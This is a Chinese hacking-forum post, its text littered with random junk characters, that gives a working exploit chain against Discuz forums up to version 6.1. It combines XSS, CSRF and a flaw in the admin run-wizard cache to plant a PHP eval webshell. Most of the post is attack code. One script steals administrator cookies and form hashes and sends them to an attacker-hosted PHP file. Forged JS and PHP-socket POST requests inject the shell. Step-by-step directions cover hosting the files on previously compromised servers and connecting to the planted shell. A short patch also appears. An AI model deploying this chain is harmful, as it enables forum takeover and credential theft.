Discuz XSS得webshell
* k0 C' _" g) T% `7 T( V0 ABy racle @tian6.com: l2 ~$ F; Z4 c G# C3 Q% o. a: R7 o
欢迎转帖.但请保留版权信息.$ y. g6 L. s; b
受影响版本 iscuz<=6.1.0,gbk+utf+big5
c2 p2 |$ _. X( x6 n# P/ R- E
% t) s! s' y# G- c3 g* h3 `新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
% z. y2 D; w% [
7 V& I3 @+ J" Y/ Z' n' S
" h; C) F' \ O# g6 V3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706* g) G8 \- A! t
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工., Z( D7 W1 y/ F- G% B8 t
3 o- h1 U& t+ G8 X) m
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..# | c. I& ^ E, y* X& J
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS0 p, g2 Q& X( W: G
/ m/ N' K0 ^ h9 B) [
) E9 q8 q( i. }8 E" X! U
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------1 q( c* ]) V! K; x
0 d+ H3 o) a6 s4 v/ ~, X
* ~6 q* T1 \6 y4 ^problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
8 F) m4 c1 n l5 O1 P
( Z4 L5 Z0 d2 ], T& X: T7 B" Gproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.. A) d3 L. }! k% N" X c4 p
/ U6 A1 I7 W( z
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
% F, D# ]$ S' T/ N9 A' o
6 {; q# p- u1 z. \8 {$ s6 G1 \8 E8 F2 l, z0 [# t
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {9 z3 i7 W, B2 H8 ^' M
# B$ {; ~: H, t$ g5 a
global $runwizardfile, $runwizardhistory;
% J1 H0 n D# g2 e3 Y2 U: M8 X7 f7 M
$fp = fopen($runwizardfile, 'w');, ?3 i; e& r: w3 o0 u: u5 |
. l% l/ P% K5 @# i2 z! u/ O fwrite($fp, serialize($runwizardhistory));! i3 h. ?' p) l' `4 Y5 f
; Q8 C/ i5 w8 z8 q
fclose($fp);
# o3 \9 {$ j) f# ^: u9 ~+ l/ e( X& {9 w# k$ w
} v: z+ q4 t! q% h' }3 B( ^8 z
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.' a9 M3 d- s' R' d7 q6 ?
以下是修补的办法:function saverunwizardhistory() {
& J& x" z0 E* g7 p B X* T- w# H" f u! u" u; P% T3 K% e
global $runwizardfile, $runwizardhistory;
/ U0 i% Y4 \! d9 ]
7 ?4 x1 y) m3 [( b( f2 Z $fp = fopen($runwizardfile, 'w');
5 l9 [% f, ^) i
4 \5 f3 E- v' m+ q $s = '<?php exit;?>';$ p0 v# T4 c5 f2 ^% x; B$ x
+ _ P6 K. k: b* t $s .= serialize($runwizardhistory);
( \6 r `& k2 W
) }, e1 p+ w M" a6 h2 C fwrite($fp, $s);, ~. M3 ^% W! U3 E9 j
& @- T$ L7 I1 D( [1 J2 o
fclose($fp);
" t* B& z6 W8 g) p8 g7 S! T" Q+ [9 Y1 S
}5 {8 J* @/ S4 W: v2 P# W
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.( C0 E; ?$ _) U. P% `
( i; e) V- c6 v% H F
) ~ G% i* L b7 j
& i5 G: h- i" l* m----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
) }* R" U$ v- ?. F. d% h. c/ o& ]7 L- @
9 Z3 q1 i! h& q6 ]( Y, O5 Y
) {# u7 S j- ^" `& S/ D 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
* w/ U1 X. ]4 T2 O
. X$ f t2 g: Z `3 B4 ]我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL., G% l# o' T. T' C$ S
- t' {8 L1 d- P/ X
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
# [ J6 R2 v" v8 Q$ c3 R7 Y( a. G- S, S
5 S. U3 q2 S1 T, h首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
# f- a# @+ g2 u2 O% X; x: \* X
) e$ J+ m1 W2 o% Lvar url="http://目标网站/admincp.php";
& _/ ^0 S: F% s& Z" E2 C1 o! p0 q6 Q0 a) r
/*获得cookies*/
& L2 [4 ~; m6 v, s
! c4 d5 g6 b/ h- Y1 Qfunction getURL(s) {2 u( s0 v+ t. n& }' ?& ^
+ I5 T6 n% w" C5 j- nvar image = new Image();+ z# I# H- l0 R, h0 g+ a
8 z8 j a7 X1 B2 c0 K4 y
image.style.width = 0;4 ?' z! j3 M% h" B2 g0 N
% B0 P: x; A% Y* T' c5 ~7 r
image.style.height = 0;7 `. l5 x7 ~/ v0 x5 o
2 L- m4 q$ i0 K! ]3 D: ~ Bimage.src = s;4 t5 H+ Z0 K x/ Z! D$ U5 `/ A
" f8 I& X2 ]3 z! ]/ B( y
}1 ?3 V. j& @) n* Z U
3 f) u' n8 q! x1 P3 g" B; @
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php, F9 q/ o) F; g! r
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];8 P. M' n( Y# O/ Y9 v: V
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) & i/ q/ k3 l, Q: y2 ]
7 ~- ^# j% j9 J' x/ w! t* |! F
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";# O0 J# t e+ x- ]6 M
3 d! P: U" a. S. K1 U, @$ T
! g" o5 f/ f4 u) ?# y6 e* O9 W; n
8 b9 A2 @1 l6 [+ m3 x# n! `/*hash*/, v; p6 V1 u, S9 K0 y
R( v; u6 U" p; Z
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
" @4 X% c, [6 _7 @5 ~& w* K, H: T3 C5 v2 y
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);. M, a# o% O6 `- J
* R+ @9 A4 {$ o9 j7 F6 g$ o( M
xmlHttpReq.send();2 r. g# E V2 w+ Y0 b
* J6 }5 l0 [! X& y2 Y8 Cvar resource = xmlHttpReq.responseText;
" d6 I! Y8 \2 f& E
3 i2 C% s+ a* M9 x; a0 Jvar numero = resource.search(/formhash/);
; i' ]/ r" V" _6 u: G& U
# F. A, N- Y7 F% e3 Wvar formhash=encodeURIComponent(resource.substr(numero+17,8));/ E* l! p3 q& w8 X% h
" ]: O0 A& p) w4 p/ q. B$ y& y
1 v& C% o# ?" O& m
( {" ~ R7 u: P2 u8 M, @
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ; p9 Q0 m: z8 x% @
3 h5 ]0 i& B' T* Y! V, ]+ e; N
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 9 A, P6 M6 W, }. |5 g+ R& D; e
8 o: b- X5 G+ E- ^* Y
xmlHttpReq.setRequestHeader("Referer", url);
/ W( n% x4 o; H( m! Z$ Y) T! C. U* U! @1 ^
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
# G( ?9 B4 _9 B2 y* l3 s# {. Q8 |7 y2 @; ^
xmlHttpReq.setrequestheader("content-length",post.length); 0 W3 B, @' @" K# P
( ~" J# G1 k% e1 f( SxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
+ C5 Z0 J. m; I7 X
- g ^/ {) J& ~ O8 q+ E0 W' J# k6 y( yxmlHttpReq.send(post);//发送数据* @9 m4 E, D$ y
复制代码这里HASH我假设正确,这样提交,也无须cookies
* ~- n9 R+ k" }3 M
* `+ H9 a7 }, @2 r8 [0 E再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);4 m4 ~6 {8 z! {; _
$ b8 E! D4 i% {( @1 r+ ]if (!$sock) die("$errstr ($errno)\n");. a9 d( O- M: f" w6 x, j1 ?- \
5 J P0 l- Z2 d/ K0 i. f$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
5 Z" L5 c) `7 q. |$ r1 ?
$ O) I8 @% N4 q( D; T
: F. x7 J0 S+ g
7 V% g$ k f# g/ k- D8 pfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
5 q/ t$ h" x/ E4 r& G* d
1 T3 T7 U$ m) [9 I" }fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");5 s5 {! A" O+ M. C+ ~9 |* R- ]6 h, R
' c+ a7 O3 ~2 _" _ t, U5 ^' ]& Z5 N
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");! H: ]: z; T R: p' k
8 B% s, B P2 M% a2 d
fwrite($sock, "Accept-Language: zh-cn\r\n");% N+ Y& D4 G Z
9 J5 P6 y$ ^( F! f- G: H! a! L7 cfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");. x5 b/ c9 Q, t. H) v. j9 v
+ J) |5 h; h1 J& O& q2 l
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
- A3 u/ ^/ ?7 m& a9 G" r& H- P- `6 f3 M$ W% F
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
1 e) q& l! _3 ]" A+ Y2 a2 Z8 O U& t
fwrite($sock, "Host: $url\r\n");, Z4 X3 G" U/ T6 v" W
, `/ t- ]) e* r
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");1 y+ x1 W0 a' Z6 Q ^$ d
& j. h, Z) @ _3 m* _
fwrite($sock, "Connection: Keep-Alive\r\n");
! E/ n5 J! W! b8 A+ \+ S4 g
/ Y: ^5 V4 {- z$ I0 t. Dfwrite($sock, "Cache-Control: no-cache\r\n");
' \& B4 J* H b$ e0 s! E* [
/ F, J/ \1 x) P, f. sfwrite($sock, "Cookie:".$cookies."\r\n\r\n");& X6 f" u& q5 O- I
( N \1 p7 y5 s; A0 f! Z# f' j
fwrite($sock, $data); _. {) W4 j6 z" ?! ^* ]* ^
z6 r7 k% n9 a& _- A
, P" o1 w3 t2 O# A: |( \
0 d4 G) l5 Z% F" T7 C0 ^$headers = "";: G# M5 s5 w. A+ N
& P( f' q& l$ B9 R& ?
while ($str = trim(fgets($sock, 4096)))
9 m. i+ q5 F H0 `6 s. w
( A* n G% x% V% O $headers .= "$str\n";5 }/ ]4 k8 N7 V) f" q, N, G
2 l% k6 B1 s9 h6 o
echo "\n";* M) j4 l/ {6 T: |8 @
: }+ z2 f' W( ~! z- E$ ^
$body = "";, O; ]" Q& P5 ~& c. H
8 l* T; U+ v3 a' Fwhile (!feof($sock))
2 A) p* @) r. `! y* i& n! u
( p3 n4 Y, m6 _ $body .= fgets($sock, 4096);- m, [0 l3 Y$ \* p* |" d* j( h
# X6 @& P# |# u+ @( w! h
fclose($sock);+ f" |' m* L# x- h3 B
' f& l3 P8 r! U% v$ \( v
echo $body;
5 {$ P$ j9 [0 Y" R9 o复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
4 @: R' } o% ?
* q. d2 r- U7 e1 {* y* e. y5 ]' j: i5 A3 d, U
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
; z1 e+ ?: o/ ?3 ^! G: a0 N6 t* T+ L
( W' `, ~! P i9 m! K
1 HP SOCKET利用方法首先打开racle.js8 @: t$ t+ J6 Z* |
' e6 U* x& O4 {% C" Ivar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
: H! _% B: [+ s! p
) Y5 f) l4 Y. b$ B: Z5 X0 b5 S4 H$ O
! [2 i/ e. v2 H
然后打开racle@tian6.php) @1 d2 { K0 n; T3 D& t
) s. o% F6 r. [1 e$ b6 y$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
1 I' r: L6 L& l) q8 w1 S) L; }) f- I6 K. C5 V6 f& R
, ~6 k/ i9 }* @8 i/ u
6 M, I" k# U$ E- M
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:2 w2 t/ k0 D6 s
' X$ a* {3 b, q9 X' qgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
. J1 i: u! s; p, a- i" J
2 ^" ?: H# r x/ S4 w为
1 b4 }2 z2 ~; {/ E6 O; R$ K6 o! S% H9 v; g* h0 `! f) C
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
1 q# |; `; y! p3 }4 G [' a+ Q复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
; g; F* |3 e0 t" U, N& ~! V9 G
+ X0 R! e( R- O
# P- M8 h2 k+ i8 k* \ N7 I2 B* H$ g) {# D- S) ?6 @! r" r
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
9 N& T/ {" y) [, p' Z2 y3 ~0 v8 y% p! A, ^6 Q A e, b+ a7 g0 R
var formhash=encodeURIComponent(resource.substr(numero+17,8)); t4 ], W4 f: S& L
$ r0 a J- a$ C k' ^/ U2 w
为
4 O, E/ l; s X. j; D- w- g: T4 u9 B$ D" C |: Q) ?- l2 d
var formhash=encodeURIComponent(resource.substr(numero+9,8));0 {' B0 ~$ z9 V5 q# u! v, w9 t
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
6 [; V1 K, @0 K. j2 }
" r) A4 h C! }' Z7 J& n1 s9 O* w如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.& |4 u. e( k T1 c X) Q! |# n
# }$ L7 v6 v; U2 |
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.. _# \; e( x' U
( z- ?& d) M, i+ ^
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
1 E) h# j2 \3 ? `" t1 q
e% h& ]9 T% C0 k# b9 p9 c |